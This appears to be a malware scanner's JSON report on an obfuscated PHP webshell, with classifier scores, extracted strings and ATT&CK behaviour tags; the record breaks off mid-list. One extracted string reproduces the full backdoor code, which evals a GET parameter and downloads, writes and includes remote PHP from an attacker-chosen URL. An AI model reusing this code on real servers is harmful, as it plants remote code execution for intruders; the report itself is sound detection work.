{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9999724626541138, "class": 2 } ], "prob": 0.99997246, "class": 2, "models": [ { "m": "az", "prob": 0.9989792, "class": 1 }, { "m": "az/scripts", "prob": 0.99997246, "class": 2 }, { "m": "az/php", "prob": 0.99995124, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T19:54:20Z" }, "path": "cjwpnk.php.suspected", "raw": { "v": "4", "fs": [ { "f": "O₃(C₆As₃I)H₃(Po₂CmF₂)MdTh", "k": { "source.imports[0]": "SvLRE", "source.imports[1]": "chmod", "source.imports[2]": "copy", "source.imports[3]": "curl_exec", "source.imports[4]": "curl_init", "source.imports[5]": "curl_setopt", "source.imports[6]": "eval", "source.imports[7]": "exec", "source.imports[8]": "file_exists", "source.imports[9]": "file_get_contents", "source.strings[0]": "$QLtiLBnX840", "source.strings[1]": "$elgaprcE3432", "source.strings[2]": "23lcz47oxmqg.n6jt(*pf0ys9krubh1ad)5_;vewi/8", "source.strings[3]": "5sxtzfm)7phd*2ro;c(g0qau4n/v8i_j1.l9by3k6ew", "source.strings[4]": "\\120\\117\\x53\\124\\x3e\\120\\101\\x53\\123\\127\\117\\122\\104\\72\\40\\40\\x20\\40\\40\\x43\\x48\\x45\\x43\\x4b\\x42\\x4f\\130\\x20\\x4e\\x41\\115\\x45\\x3d\\42\\x46\\133\\135\\x22\\x20\\126\\x41\\x4c\\x55\\x45\\75\\x22\\40\\x20\\42\\137\\165\\160\\x6c\\42\\x20\\166\\x61\\154\\x75\\x65\\x3d\\x22\\125\\160\\154\\157\\141\\x64\\x22\\40\\x6e\\x61\\155\\x65\\75\\42\\x75\\x70\\x6c\\x6f\\141\\x64\\145\\x72\\x22\\x20\\x69\\144\\75\\x22\\x75\\160\\x6c\\157\\x61\\144\\x65\\162\\x22", "source.strings[5]": "\\143\\x75\\x72\\154\\40\\55\\157\\x20", "source.strings[6]": "\\143\\x75\\x72\\x6c\\x20\\x2d\\157\\x20", "source.strings[7]": "\\150\\x74\\x74\\160\\163\\x3a\\57\\x2f", "source.strings[8]": "\\155\\155\\155", "source.strings[9]": "\\155\\155\\x6d", "source.has_imports": true, "source.imports[10]": "file_put_contents", "source.imports[11]": "isset", "source.imports[12]": "realpath", "source.imports[13]": "system", "source.imports[14]": "uniqid", "source.strings[10]": "\\160\\141\\164\\150", "source.strings[11]": "\\160\\141\\164\\x68", "source.strings[12]": "\\160\\141\\x74\\x68", "source.strings[13]": "\\160\\x61\\164\\150", "source.strings[14]": "\\160\\x61\\164\\x68", "source.strings[15]": "\\160\\x61\\x74\\150", "source.strings[16]": "\\160\\x61\\x74\\x68", "source.strings[17]": "\\164\\165\\162\\154", "source.strings[18]": "\\165\\162\\x6c", "source.strings[19]": "\\165\\x72\\154", "source.strings[20]": "\\165\\x72\\x6c", "source.strings[21]": "\\167\\x67\\x65\\164\\x20\\x2d\\117\\x20", "source.strings[22]": "\\167\\x67\\x65\\x74\\40\\x2d\\x4f\\40", "source.strings[23]": "\\56\\160\\150\\x70", "source.strings[24]": "\\56\\160\\x68\\x70", "source.strings[25]": "\\56\\x70\\x68\\160", "source.strings[26]": "\\56\\x70\\x68\\x70", "source.strings[27]": "\\62\\56\\160\\x68\\160", "source.strings[28]": "\\64\\56\\160\\x68\\x70\\x20\\x68\\164\\164\\160\\163\\72\\57\\57", "source.strings[29]": "\\64\\56\\x70\\x68\\x70\\40\\150\\x74\\x74\\x70\\x73\\72\\57\\57", "source.strings[30]": "\\64\\x2e\\160\\150\\x70", "source.strings[31]": "\\64\\x2e\\160\\x68\\160\\x20\\150\\164\\x74\\160\\x73\\x3a\\x2f\\57", "source.strings[32]": "\\64\\x2e\\x70\\150\\x70", "source.strings[33]": "\\64\\x2e\\x70\\x68\\x70\\x20\\x68\\164\\x74\\x70\\x73\\72\\x2f\\57", "source.strings[34]": "\\x2a\\57\\40\\77\\76", "source.strings[35]": "\\x2e\\160\\150\\x70", "source.strings[36]": "\\x2e\\x70\\x68\\160", "source.strings[37]": "\\x32\\56\\x70\\x68\\x70", "source.strings[38]": "\\x32\\x2e\\160\\x68\\160", "source.strings[39]": "\\x32\\x2e\\x70\\150\\160", "source.strings[40]": "\\x33\\56\\160\\150\\160", "source.strings[41]": "\\x33\\56\\160\\150\\x70", "source.strings[42]": "\\x33\\x2e\\160\\x68\\160", "source.strings[43]": "\\x34\\56\\160\\150\\160", "source.strings[44]": "\\x34\\56\\160\\150\\x70", "source.strings[45]": "\\x34\\56\\160\\x68\\160", "source.strings[46]": "\\x34\\56\\x70\\x68\\x70", "source.strings[47]": "\\x34\\x2e\\160\\x68\\160", "source.strings[48]": "\\x34\\x2e\\x70\\150\\x70", "source.strings[49]": "\\x34\\x2e\\x70\\x68\\160", "source.strings[50]": "\\x3c\\x3f\\x70\\150\\x70\\x20\\x2f\\x2a", "source.strings[51]": "\\x67\\x75\\162\\154", "source.strings[52]": "\\x67\\x75\\162\\x6c", "source.strings[53]": "\\x68\\164\\164\\x70\\163\\x3a\\57\\57{$hyTr3}", "source.strings[54]": "\\x70\\141\\164\\150", "source.strings[55]": "\\x70\\141\\164\\x68", "source.strings[56]": "\\x70\\141\\x74\\x68", "source.strings[57]": "\\x70\\x61\\164\\150", "source.strings[58]": "\\x70\\x61\\164\\x68", "source.strings[59]": "\\x70\\x61\\x74\\150", "source.strings[60]": "\\x70\\x61\\x74\\x68", "source.strings[61]": "\\x74\\x75\\162\\x6c", "source.strings[62]": "\\x75\\162\\154", "source.strings[63]": "\\x75\\162\\x6c", "source.strings[64]": "\\x75\\x72\\154", "source.strings[65]": "\\x75\\x72\\x6c", "source.strings[66]": "\\x7a\\165\\x72\\154", "source.strings[67]": "\\x7a\\x75\\162\\x6c", "source.strings[68]": "goto gCB4g; nmQZs: if (!file_exists(realpath('') . \"\\57\" . $_GET[\"path\"] . \"4.\\160h\\160\")) { goto j0nQT; } goto GqgRQ; BYQFV: if (!file_exists(realpath('') . \"/\" . $_GET[\"pa\\164\\150\"] . \"4\\56\\160\\150p\")) { goto TzOeT; } goto kux3S; pSzqb: j0nQT: goto ad8rg; poEZ9: if (file_exists(realpath('') . \"\\57\" . $_GET[\"\\160\\141\\164h\"] . \"2.p\\150\\160\")) { goto YDxyk; } goto bRcRc; ugHTw: goto vYAo9; goto rKksm; t4MlG: include realpath('') . \"/\" . $_GET[\"p\\141\\164h\"] . \"2.\\160h\\160\"; goto JC5ob; IVG63: goto cLUg8; goto hq_2z; Jkt0b: goto i29a7; goto lCGdU; ZZjpz: if (!file_exists(realpath('') . \"/\" . $_GET[\"\\160\\141\\164h\"] . \"\\64.p\\150p\")) { goto tJyno; } goto cG97l; IJm2u: include realpath('') . \"\\57\" . $_GET[\"\\160a\\164h\"] . \"4\\56\\160\\150\\160\"; goto ZVkx7; gp58u: jfay0: goto ugHTw; q81C1: system(\"\\143url -\\157 \" . $_GET[\"\\160a\\164\\150\"] . \"\\64.php h\\164tps\\72/\\57\" . $_GET[\"\\165r\\154\"] . ''); goto BYQFV; kux3S: chmod(realpath('') . \"/\" . $_GET[\"\\160a\\164h\"] . \"4.\\160h\\160\", 0644); goto IJm2u; AG7_O: exec(\"\\143ur\\154\\40\\55\\157 \" . $_GET[\"\\160at\\150\"] . \"\\64\\56php\\40\\150ttps\\72\\57\\57\" . $_GET[\"url\"] . ''); goto ZZjpz; oZ1D8: if (!($BHsA2 = \"\\164\\165\\162\\154\")) { goto ZHXti; } goto qfDqr; NITub: $cGNqD = $EjKkG . ''; goto yuwp4; Z3N5S: tJyno: goto gp58u; ZUrxf: ZHXti: goto qrs1w; GVS8r: eval($_GET[\"\\155\\155m\"]); goto wE7pw; tb9Hw: include realpath('') . \"/\" . $_GET[\"pa\\164\\150\"] . \"\\64.\\160\\150p\"; goto xRIxt; bluUk: UEJo1: goto GdpY5; P49EL: if (file_exists(realpath('') . \"\\57\" . $_GET[\"p\\141\\164\\150\"] . \"3.\\160h\\160\")) { goto O399L; } goto Rn6Ml; rzIbf: chmod(realpath('') . \"/\" . $_GET[\"pa\\164\\150\"] . \"\\56\\160hp\", 0644); goto nVSLP; ksCl1: if ($_GET[\"\\155\\155\\155\"]) { goto LAIBQ; } goto FNB16; xRIxt: el_jY: goto q81C1; tGCJB: $BHsA2 = \"z\\165r\\154\"; goto IVG63; yuwp4: SvLRE(realpath('') . \"/\" . $_GET[\"pa\\164\\150\"] . \".ph\\160\", $cGNqD); goto QEPxF; Barjc: goto NyLw0; goto uwuvD; SVNg3: curl_setopt($KBQeL, CURLOPT_TIMEOUT, 60); goto uq6Cw; E2Ref: cLUg8: goto YGT0z; qrs1w: if (!($BHsA2 = \"gu\\162l\")) { goto jfay0; } goto mZPBX; sq_8W: include realpath('') . \"/\" . $_GET[\"p\\141\\164\\150\"] . \"2\\56php\"; goto c_Ctq; kH1DL: if (file_exists(realpath('') . \"/\" . $_GET[\"\\160ath\"] . \".ph\\160\")) { goto pgYO8; } goto Il98z; ad8rg: exec(\"\\167ge\\164 -\\117 \" . $_GET[\"pa\\164\\150\"] . \"\\64\\56\\160hp h\\164\\164\\160\\163\\72\\57\\57\" . $_GET[\"u\\162l\"] . ''); goto ex1yZ; YGT0z: NlCEd: goto Qq8wu; ZVkx7: TzOeT: goto AG7_O; yp1u5: curl_setopt($KBQeL, CURLOPT_URL, $_GET[\"\\165rl\"]); goto K1a7v; CxJfN: if ($_GET[\"u\\162\\154\"]) { goto UEJo1; } goto ksCl1; lCGdU: O399L: goto opJ9_; cG97l: chmod(realpath('') . \"/\" . $_GET[\"\\160\\141\\164h\"] . \"4\\56\\160h\\160\", 0644); goto sTaJp; uq6Cw: $EjKkG = curl_exec($KBQeL); goto Hclk2; Rn6Ml: $BHsA2 = \"gu\\162\\154\"; goto Jkt0b; uCuUy: pgYO8: goto rzIbf; PZahr: include realpath('') . \"\\57\" . $_GET[\"\\160\\141\\164\\150\"] . \"\\56ph\\160\"; goto E2Ref; c_Ctq: i29a7: goto ZUrxf; JC5ob: NyLw0: goto p7O9y; sTaJp: include realpath('') . \"\\57\" . $_GET[\"\\160a\\164\\150\"] . \"4.p\\150p\"; goto Z3N5S; pZlaf: $hyTr3 = $_GET[\"ur\\154\"]; goto udCBX; ex1yZ: if (!file_exists(realpath('') . \"/\" . $_GET[\"\\160\\141th\"] . \"4\\56\\160\\150p\")) { goto el_jY; } goto GZQUP; uwuvD: YDxyk: goto I7Fxm; Kt4y5: GHwhf: goto A94dI; vjqlx: include realpath('') . \"\\57\" . $_GET[\"pa\\164\\150\"] . \"4\\56php\"; goto pSzqb; gCB4g: echo \"\\120\\117S\\124\u003e\\120\\101S\\123\\127\\117\\122\\104\\72\\40\\40 \\40\\40CHECKBO\\130 NA\\115E=\\42F\\133\\135\" \\126ALUE\\75\"\\40 \\42\\137\\165\\160l\\42 \\166a\\154ue=\"\\125\\160\\154\\157\\141d\"\\40na\\155e\\75\\42uplo\\141d\\145r\" i\\144\\75\"u\\160l\\157a\\144e\\162\"\"; goto CxJfN; FNB16: goto vYAo9; goto bluUk; udCBX: $l4GLv = '' . $_GET[\"\\160\\141\\164\\150\"] . \"\\62\\56\\160h\\160\"; goto lw99f; Il98z: $KBQeL = curl_init(); goto yp1u5; QEPxF: if (file_exists(realpath('') . \"/\" . $_GET[\"path\"] . \"\\56\\160\\150p\")) { goto Arh0M; } goto tGCJB; opJ9_: chmod(realpath('') . \"\\57\" . $_GET[\"path\"] . \"3\\56\\160\\150p\", 0644); goto sq_8W; bRcRc: $BHsA2 = \"tu\\162l\"; goto Barjc; nVSLP: include realpath('') . \"\\57\" . $_GET[\"\\160\\141\\164\\150\"] . \"\\56php\"; goto Kt4y5; lw99f: copy(\"h\\164\\164p\\163:\\57\\57{$hyTr3}\", $l4GLv); goto poEZ9; Qq8wu: goto GHwhf; goto uCuUy; hq_2z: Arh0M: goto XkYXx; T_q5F: file_put_contents('' . $_GET[\"\\160a\\164\\150\"] . \"3\\56\\160\\150\\160\", $ZgjfP); goto P49EL; qfDqr: $ZgjfP = file_get_contents(\"\\150tt\\160\\163:\\57/\" . $_GET[\"\\165\\162l\"] . ''); goto T_q5F; p7O9y: zXJBN: goto oZ1D8; rKksm: LAIBQ: goto GVS8r; I7Fxm: chmod(realpath('') . \"\\57\" . $_GET[\"p\\141th\"] . \"2.p\\150\\160\", 0644); goto t4MlG; mZPBX: system(\"\\167get\\40-O\\40\" . $_GET[\"pa\\164h\"] . \"\\64.\\160h\\160 \\150\\164t\\160s:/\\57\" . $_GET[\"u\\162l\"] . ''); goto nmQZs; A94dI: if (!($BHsA2 = \"zu\\162l\")) { goto zXJBN; } goto pZlaf; K1a7v: curl_setopt($KBQeL, CURLOPT_RETURNTRANSFER, 1); goto SVNg3; GZQUP: chmod(realpath('') . \"\\57\" . $_GET[\"pat\\150\"] . \"4\\56\\160h\\160\", 0644); goto tb9Hw; GdpY5: function SVlRe($vqDqv, $EjKkG) { file_put_contents($vqDqv, \"\u003c?p\\150p /*\" . uniqid() . \"*\\57\\40\\77\\76\" . $EjKkG); } goto kH1DL; GqgRQ: chmod(realpath('') . \"/\" . $_GET[\"p\\141th\"] . \"4.ph\\160\", 0644); goto vjqlx; XkYXx: chmod(realpath('') . \"\\57\" . $_GET[\"\\160a\\164h\"] . \".\\160\\150p\", 0644); goto PZahr; Hclk2: if (!$EjKkG) { goto NlCEd; } goto NITub; wE7pw: vYAo9:", "source.functions[0]": "SVlRe" }, "x": 328, "id": 0, "is": [ "isset", "isset", "file_exists", "realpath", "file_exists", "realpath", "file_exists", "realpath", "realpath", "file_exists", "realpath", "realpath", "system", "chmod", "realpath", "exec", "eval", "realpath", "file_exists", "realpath", "chmod", "realpath", "SvLRE", "realpath", "curl_setopt", "realpath", "file_exists", "realpath", "exec", "curl_setopt", "chmod", "realpath", "curl_exec", "realpath", "realpath", "file_exists", "realpath", "realpath", "curl_init", "file_exists", "realpath", "chmod", "realpath", "realpath", "copy", "file_put_contents", "file_get_contents", "chmod", "realpath", "system", "curl_setopt", "chmod", "realpath", "file_put_contents", "uniqid", "chmod", "realpath", "chmod", "realpath" ], "ms": { "file": { "size": 8931.0 }, "text": { "digit_ratio": 0.29, "space_count": 863.0, "total_lines": 86.0, "char_entropy": 5.86, "unique_chars": 86.0, "escape_density": 6.12, "import_density": 68.6, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 2.09, "avg_line_length": 101.92, "lines_over_1000": 1.0, "max_line_length": 6051.0, "empty_line_ratio": 0.44, "hex_escape_count": 282.0, "last_line_length": 6051.0, "long_token_count": 13.0, "most_common_char": "\\", "whitespace_ratio": 0.12, "most_common_ratio": 0.06, "identifier_density": 4.41, "line_length_stddev": 647.27, "octal_escape_count": 265.0, "normalized_import_count": 6.36, "normalized_string_count": 19.41, "suspicious_comment_ratio": 2.0, "max_inline_whitespace_run": 1.0, "normalized_function_count": 0.11, "trailing_whitespace_lines": 2.0, "imports_to_functions_ratio": 59.0, "strings_to_functions_ratio": 180.0, "suspicious_identifier_ratio": 0.1, "normalized_unique_identifiers": 21.63, "identifiers_to_functions_ratio": 139.0 }, "imports": { "total": 59.0, "unique_modules": 15.0, "third_party_count": 59.0, "third_party_ratio": 1.0 }, "strings": { "total": 180.0, "avg_length": 13.38, "max_length": 382.0, "avg_entropy": 1.82, "total_bytes": 2408.0, "entropy_stddev": 1.41, "high_entropy_count": 4.0, "unicode_heavy_strings": 8.0 }, "comments": { "chars": 1280.0, "lines": 10.0, "total": 10.0, "to_code_ratio": 0.13, "base64_in_comments": 10.0, "high_entropy_comments": 10.0 }, "functions": { "total": 1.0, "one_liners": 1.0, "avg_name_length": 5.0, "no_params_count": 1.0, "avg_length_lines": 1.0, "max_length_lines": 1.0, "min_length_lines": 1.0, "density_per_100_lines": 1.16, "code_in_functions_ratio": 0.01 }, "identifiers": { "total": 379.0, "avg_length": 5.96, "max_length": 22.0, "min_length": 1.0, "avg_entropy": 2.33, "reuse_ratio": 0.37, "unique_count": 139.0, "length_stddev": 2.99, "has_digit_ratio": 0.5, "sequential_names": 4.0, "base64_like_names": 10.0, "single_char_count": 4.0, "single_char_ratio": 0.03, "high_entropy_count": 2.0, "high_entropy_ratio": 0.01, "all_lowercase_ratio": 0.11, "all_uppercase_ratio": 0.09, "numeric_suffix_count": 32.0, "underscore_prefix_count": 2.0 } }, "ss": [ [ 28, "23lcz47oxmqg.n6jt(*pf0ys9krubh1ad)5_;vewi/8" ], [ 29, "23lcz47oxmqg.n6jt(*pf0ys9krubh1ad)5_;vewi/8" ], [ 338, "$QLtiLBnX840" ], [ 521, "$QLtiLBnX840" ], [ 1239, "n" ], [ 1240, "n" ], [ 1252, "o" ], [ 1253, "o" ], [ 1265, "i" ], [ 1266, "i" ], [ 1272, "t" ], [ 1273, "t" ], [ 1276, "c" ], [ 1277, "c" ], [ 1286, "n" ], [ 1287, "n" ], [ 1290, "u" ], [ 1291, "u" ], [ 1294, "f" ], [ 1295, "f" ], [ 1298, "_" ], [ 1299, "_" ], [ 1302, "e" ], [ 1303, "e" ], [ 1306, "t" ], [ 1307, "t" ], [ 1310, "a" ], [ 1311, "a" ], [ 1323, "e" ], [ 1324, "e" ], [ 1330, "r" ], [ 1331, "r" ], [ 1346, "c" ], [ 1347, "c" ], [ 1466, "5sxtzfm)7phd*2ro;c(g0qau4n/v8i_j1.l9by3k6ew" ], [ 1467, "5sxtzfm)7phd*2ro;c(g0qau4n/v8i_j1.l9by3k6ew" ], [ 1777, "$elgaprcE3432" ], [ 1961, "$elgaprcE3432" ], [ 2683, "n" ], [ 2684, "n" ], [ 2687, "o" ], [ 2688, "o" ], [ 2703, "i" ], [ 2704, "i" ], [ 2710, "t" ], [ 2711, "t" ], [ 2714, "c" ], [ 2715, "c" ], [ 2718, "n" ], [ 2719, "n" ], [ 2725, "u" ], [ 2726, "u" ], [ 2729, "f" ], [ 2730, "f" ], [ 2733, "_" ], [ 2734, "_" ], [ 2737, "e" ], [ 2738, "e" ], [ 2744, "t" ], [ 2745, "t" ], [ 2748, "a" ], [ 2749, "a" ], [ 2758, "e" ], [ 2759, "e" ], [ 2762, "r" ], [ 2763, "r" ], [ 2778, "c" ], [ 2779, "c" ], [ 2927, "\\57" ], [ 2941, "\\x70\\x61\\x74\\x68" ], [ 2963, "\\x34\\x2e\\160\\x68\\160" ], [ 3055, "\\x2f" ], [ 3070, "\\x70\\x61\\164\\150" ], [ 3092, "\\x34\\56\\160\\150\\x70" ], [ 3208, "\\57" ], [ 3222, "\\160\\141\\164\\x68" ], [ 3244, "\\x32\\x2e\\x70\\150\\160" ], [ 3358, "\\x2f" ], [ 3373, "\\x70\\141\\164\\x68" ], [ 3395, "\\x32\\x2e\\160\\x68\\160" ], [ 3532, "\\x2f" ], [ 3547, "\\160\\141\\164\\x68" ], [ 3569, "\\64\\x2e\\x70\\150\\x70" ], [ 3651, "\\57" ], [ 3665, "\\160\\x61\\164\\x68" ], [ 3687, "\\x34\\56\\160\\150\\160" ], [ 3762, "\\143\\x75\\x72\\x6c\\x20\\x2d\\157\\x20" ], [ 3805, "\\160\\x61\\164\\150" ], [ 3827, "\\64\\x2e\\x70\\x68\\x70\\x20\\x68\\164\\x74\\x70\\x73\\72\\x2f\\57" ], [ 3891, "\\165\\x72\\154" ], [ 3954, "\\x2f" ], [ 3969, "\\160\\x61\\164\\x68" ], [ 3991, "\\x34\\x2e\\160\\x68\\160" ], [ 4046, "\\143\\x75\\x72\\154\\40\\55\\157\\x20" ], [ 4087, "\\160\\x61\\x74\\150" ], [ 4109, "\\64\\56\\x70\\x68\\x70\\40\\150\\x74\\x74\\x70\\x73\\72\\57\\57" ], [ 4170, "\\x75\\x72\\x6c" ], [ 4227, "\\164\\165\\162\\154" ], [ 4387, "\\155\\155\\x6d" ], [ 4447, "\\x2f" ], [ 4462, "\\x70\\x61\\164\\150" ], [ 4484, "\\64\\x2e\\160\\150\\x70" ], [ 4583, "\\57" ], [ 4597, "\\x70\\141\\164\\150" ], [ 4619, "\\x33\\x2e\\160\\x68\\160" ], [ 4700, "\\x2f" ], [ 4715, "\\x70\\x61\\164\\150" ], [ 4737, "\\56\\160\\x68\\x70" ], [ 4792, "\\155\\155\\155" ], [ 4879, "\\x7a\\165\\x72\\154" ], [ 4939, "\\x2f" ], [ 4954, "\\x70\\x61\\164\\150" ], [ 4976, "\\x2e\\x70\\x68\\160" ], [ 5157, "\\x67\\x75\\162\\x6c" ], [ 5236, "\\x2f" ], [ 5251, "\\x70\\141\\164\\150" ], [ 5273, "\\x32\\56\\x70\\x68\\x70" ], [ 5346, "\\x2f" ], [ 5361, "\\160\\x61\\x74\\x68" ], [ 5383, "\\x2e\\x70\\x68\\160" ], [ 5444, "\\167\\x67\\x65\\164\\x20\\x2d\\117\\x20" ], [ 5487, "\\x70\\x61\\164\\150" ], [ 5509, "\\64\\56\\160\\x68\\x70\\x20\\x68\\164\\164\\160\\163\\72\\57\\57" ], [ 5571, "\\x75\\162\\x6c" ], [ 5704, "\\165\\x72\\x6c" ], [ 5751, "\\x75\\162\\154" ], [ 5850, "\\x2f" ], [ 5865, "\\160\\141\\164\\x68" ], [ 5887, "\\x34\\56\\160\\x68\\160" ], [ 5992, "\\x67\\x75\\162\\154" ], [ 6080, "\\57" ], [ 6094, "\\160\\141\\164\\150" ], [ 6116, "\\56\\x70\\x68\\160" ], [ 6229, "\\57" ], [ 6243, "\\160\\x61\\164\\150" ], [ 6265, "\\x34\\x2e\\x70\\150\\x70" ], [ 6323, "\\x75\\x72\\154" ], [ 6391, "\\x2f" ], [ 6406, "\\160\\141\\x74\\x68" ], [ 6428, "\\x34\\56\\160\\150\\x70" ], [ 6562, "\\57" ], [ 6576, "\\x70\\x61\\164\\150" ], [ 6598, "\\x34\\56\\x70\\x68\\x70" ], [ 6645, "\\120\\117\\x53\\124\\x3e\\120\\101\\x53\\123\\127\\117\\122\\104\\72\\40\\40\\x20\\40\\40\\x43\\x48\\x45\\x43\\x4b\\x42\\x4f\\130\\x20\\x4e\\x41\\115\\x45\\x3d\\" ], [ 7101, "\\160\\141\\164\\150" ], [ 7123, "\\62\\56\\160\\x68\\160" ], [ 7236, "\\x2f" ], [ 7251, "\\x70\\x61\\x74\\x68" ], [ 7273, "\\56\\160\\150\\x70" ], [ 7349, "\\57" ], [ 7363, "\\x70\\x61\\x74\\x68" ], [ 7385, "\\x33\\56\\160\\150\\x70" ], [ 7443, "\\x74\\x75\\162\\x6c" ], [ 7505, "\\57" ], [ 7519, "\\160\\141\\164\\150" ], [ 7541, "\\56\\x70\\x68\\x70" ], [ 7584, "\\x68\\164\\164\\x70\\163\\x3a\\57\\57{$hyTr3}" ], [ 7740, "\\160\\x61\\164\\150" ], [ 7762, "\\x33\\56\\160\\150\\160" ], [ 7840, "\\150\\x74\\x74\\160\\163\\x3a\\57\\x2f" ], [ 7882, "\\165\\162\\x6c" ], [ 7997, "\\57" ], [ 8011, "\\x70\\141\\x74\\x68" ], [ 8033, "\\x32\\x2e\\x70\\150\\160" ], [ 8090, "\\167\\x67\\x65\\x74\\40\\x2d\\x4f\\40" ], [ 8131, "\\x70\\x61\\164\\x68" ], [ 8153, "\\64\\x2e\\160\\x68\\160\\x20\\150\\164\\x74\\160\\x73\\x3a\\x2f\\57" ], [ 8218, "\\x75\\162\\x6c" ], [ 8275, "\\x7a\\x75\\162\\x6c" ], [ 8419, "\\57" ], [ 8433, "\\x70\\x61\\x74\\150" ], [ 8455, "\\x34\\56\\160\\x68\\160" ], [ 8563, "\\x3c\\x3f\\x70\\150\\x70\\x20\\x2f\\x2a" ], [ 8611, "\\x2a\\57\\40\\77\\76" ], [ 8683, "\\x2f" ], [ 8698, "\\x70\\141\\x74\\x68" ], [ 8720, "\\x34\\x2e\\x70\\x68\\160" ], [ 8791, "\\57" ], [ 8805, "\\160\\x61\\164\\x68" ], [ 8827, "\\x2e\\160\\150\\x70" ], [ 2876, "unicode-escape", "goto gCB4g; nmQZs: if (!file_exists(realpath('') . \"\\57\" . $_GET[\"path\"] . \"4.\\160h\\160\")) { goto j0nQT; } goto GqgRQ; BYQFV: if" ] ], "sz": 8931, "ts": [ { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP REQUEST parameter access ($_REQUEST)", "e": [ "$_REQUEST" ], "i": "micro-behaviors/communications/http/request/params::request-dup", "l": 3 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 6051.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1105", "c": 0.800000011920929, "d": "Creates or overwrites a local file", "e": [ "file_put_contents" ], "i": "micro-behaviors/fs/write/file/direct::file-put-contents", "l": 3, "m": "C0052" }, { "c": 0.800000011920929, "d": "PHP copy() symbol", "e": [ "copy" ], "i": "objectives/impact/infect/script::php-copy-call", "l": 1 }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_GET[...] superglobal access", "e": [ "$_GET[" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-get", "l": 1, "m": "B0030" }, { "c": 0.800000011920929, "d": "URL parameter fetched and executed", "e": [ "file_get_contents(\"\\150\\x74\\x74\\160\\163\\x3a\\57\\x2f\" . $_GET[\"\\165\\162\\x6c\"] . '')" ], "i": "objectives/command-and-control/backdoor/webshell/fetch::url-param-fetch", "l": 4, "m": "B0030" }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "file_put_contents(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 }, { "c": 0.800000011920929, "d": "Property access via hex-escaped string in brackets", "e": [ "[\"\\x70\\x61\\x74\\x68\"]" ], "i": "objectives/anti-static/obfuscation/string/dynamic::hex-escaped-bracket-property", "l": 4 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports file_put_contents", "e": [ "[SvLRE, chmod, copy, curl_exec, curl_init, curl_setopt, eval, exec, file_exists, file_get_contents, file_put_contents, isset, re" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents", "l": 1 }, { "c": 0.949999988079071, "d": "PHP opening tag present", "e": [ "\u003c?php" ], "i": "metadata/lang/scripted::php-open-tag", "l": 2 }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via system()", "e": [ "system" ], "i": "micro-behaviors/process/create/shell/lang::system", "l": 3, "m": "E1059" }, { "a": "T1059.006", "c": 0.9800000190734863, "d": "eval() call with direct user input", "e": [ "eval", "$_GET[\"\\155\\155\\x6d\"]" ], "i": "micro-behaviors/process/interpreter/eval::eval-user-input", "l": 4, "m": "E1059" }, { "a": "T1505.003", "c": 0.9399999976158142, "d": "file_get_contents (raw POST body reader)", "e": [ "file_get_contents" ], "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7", "l": 1, "m": "B0030" }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Last line is over 1000 chars", "e": [ "text.last_line_length = 6051.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "PHP request superglobal access", "e": [ "$_REQUEST" ], "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call", "l": 3, "m": "B0030" }, { "a": "T1222", "c": 0.699999988079071, "d": "Changes file permissions via chmod()", "e": [ "chmod" ], "i": "micro-behaviors/fs/chmod/modify::chmod-call", "l": 3 }, { "c": 0.800000011920929, "d": "PHP variable function invocation pattern", "e": [ "AcHytcrR5619", "B", "dhkEweRb264", "ZHQrORxq3311", "Y", "WFhwKcfQ3158", "Z", "R" ], "i": "objectives/anti-static/obfuscation/imports::dynamic-function-execution", "l": 3 }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 86.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "a": "T1584", "c": 1.0, "d": "PHP dynamic curl_exec call from lookup table", "e": [ "curl_exec(" ], "i": "objectives/command-and-control/dropper/delivery/seo-spam::php-dynamic-curl-exec", "l": 2 }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP GET parameter access ($_GET)", "e": [ "$_GET" ], "i": "micro-behaviors/communications/http/request/params::get-dup", "l": 3 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "a": "T1059.004", "c": 0.949999988079071, "d": "Shell command execution via exec()", "e": [ "exec" ], "i": "micro-behaviors/process/create/shell/lang::exec-dup", "l": 3, "m": "E1059" }, { "a": "T1027", "c": 0.800000011920929, "d": "High overall text entropy (encoded", "e": [ "text.char_entropy = 5.86" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.8999999761581421, "d": "PHP source contains very long line", "e": [ "text.max_line_length = 6051.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line", "l": 4, "m": "B0032" }, { "c": 0.699999988079071, "d": "AJAX request handler pattern", "e": [ "$_GET[\"\\x70\\141\\164\\x68\"]", "$_GET[\"\\155\\155\\x6d\"]", "$_GET[\"\\155\\155\\155\"]", "$_GET[\"\\x70\\141\\164\\150\"]", "$_GET[\"\\160\\x61\\x74\\150\"]", "$_GET[\"\\160\\141\\164\\x68\"]", 